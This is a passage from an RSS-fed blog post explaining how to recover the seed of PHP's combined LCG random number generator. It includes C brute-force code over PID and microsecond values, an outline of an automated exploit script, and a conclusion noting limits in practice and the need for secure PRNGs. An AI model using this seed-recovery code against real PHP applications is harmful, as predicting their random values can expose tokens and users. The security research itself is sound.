pid;<br>    lcg-&gt;s2 ^= ((uepoch + uepochOffset)&lt;&lt;11);<br>    lcg-&gt;seeded = 1;<br>}<br>//==============================================================================<br>double bad_php_combined_lcg(php_lcg_globals* lcg, int pid, long epoch, long uepoch, int uepochOffset)<br>{<br>    int32_t q;<br>    int32_t z;<br><br>    if (!lcg-&gt;seeded) {<br>        bad_lcg_seed(lcg, pid, epoch, uepoch, uepochOffset);<br>    }<br><br>    MODMULT(53668, 40014, 12211, 2147483563L, lcg-&gt;s1);<br>    MODMULT(52774, 40692, 3791, 2147483399L, lcg-&gt;s2);<br><br>    z = lcg-&gt;s1 - lcg-&gt;s2;<br>    if (z &lt; 1) {<br>        z += 2147483562;<br>    }<br><br>    return z * 4.656613e-10;<br>}<br>//==============================================================================<br>int main(void){<br>    php_lcg_globals test;<br><br>    int pid = 343454;//--- PID<br>    long epoch = 1680751918;//--- EPOCH TIME<br>    long uepoch = 0;//--- MICROSECONDS<br>    int uepochOffset = 0;//--- OFFSET<br>    const int MAX_UEPOCH_OFFSET = 14;<br><br>    test.s1 = 0;<br>    test.s2 = 0;<br>    test.seeded = 0;<br><br>    for(uepoch = 1; uepoch &lt; 1000000; uepoch++){<br>        for(uepochOffset = 0; uepochOffset &lt;= MAX_UEPOCH_OFFSET; uepochOffset++){<br>            test.seeded = 0;<br>            printf(&quot;%ld\n&quot;, GENERATE_BAD_SEED(&amp;test, pid, epoch, uepoch, uepochOffset));<br>        }<br>    }<br>    return 0;<br>}<br>//==============================================================================</pre><h3>Exploitation</h3><p>From here, it’s easy (thanks to some templating and automation). Running the exploit script will do the following:</p><ol><li>Generate 10 random numbers using PHP and grab the PID and current epoch time</li><li>Run setup_test.py, which will copy the PID and epoch time into our exploit.c file and copy the target numbers into our PHP testing file</li><li>Compile our exploit file</li><li>Run the exploit to generate a list of possible seeds</li><li>Remove duplicate seeds from our list of possible seeds</li><li>Generate sets of random numbers given our provided seeds until we generate the same sequence of random numbers as the target numbers</li></ol><p><em>ET VOILA!</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/294/1*qA6vvPBseyXN50Dxm6MeTQ.gif" /><figcaption>Running the exploitation script</figcaption></figure><p>We successfully took elements from our machine environment, regenerated an unknown seed for a pseudo-random number generator, and created the exact same sequence of “random” numbers two times in a row.</p><h3>Conclusion and after-thoughts</h3><p>While it is a neat trick and was fun to work on, this method of exploitation is heavily dependent on the context. The three major hindrances to exploitation in the wild are PHP’s use of PID, the microsecond offset, and local vs remote brute forcing. With the default size of an OS’s PID pool, coupled with the microsecond offset, there are too many potential values produced to efficiently execute over an internet connection. It is common to have a PID pool size of 2¹⁵ or 32,768 different ids. The offset microsecond offset means that for every PID/Epoch pair, there are 1 million different potential seeds. This means that, assuming no overlap, there are 32,768,000,000 different seeds. And that is assuming that the epoch time is correct on the victim machine and that you accurately clocked the time on your request. It is also possible for x64-bit machines to have PID pools set as large as 2²² or over 4 million different ids (eg. like my desktop, which is currently assigning PIDs in the 300,000s as the time of writing).</p><p>If somehow the PHP interpreter’s PID is being leaked, exposed, or other-wise known, then it has some potential to be used. But one has to keep in mind that a single pair generates 1 million seeds which are sent over 1 million requests. This is noisy and can take hours depending on the internet quality. I have some ideas as to how one might overcome some of these issues, but those would require more time and testing and are better saved for another time.</p><p>It may be a niche exploit that requires the right circumstances, but it does help bring attention as to why cryptographically secure pseudo-random number generators are important in security. This concept of exploiting seeds can also be extended to various other languages and implementations, making it a bit more than just a one-off party trick.</p><h3>References</h3><ul><li><a href="https://www.php.net/manual/en/function.rand.php">https://www.php.net/manual/en/function.rand.php</a></li><li><a href="https://www.php.net/manual/en/function.srand.php">https://www.php.net/manual/en/function.srand.php</a></li><li><a href="https://www.php.net/manual/en/function.mt-rand.php">https://www.php.net/manual/en/function.mt-rand.php</a></li><li><a href="https://www.php.net/manual/en/function.mt-srand.php">https://www.php.net/manual/en/function.mt-srand.php</a></li><li><a href="https://github.com/php/php-src">https://github.com/php/php-src</a></li><li><a href="https://github.com/php/php-src/commit/b51a5c353ad7e1d702cba96b94517762821235b6">https://github.com/php/php-src/commit/b51a5c353ad7e1d702cba96b94517762821235b6</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=445229b83e01" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>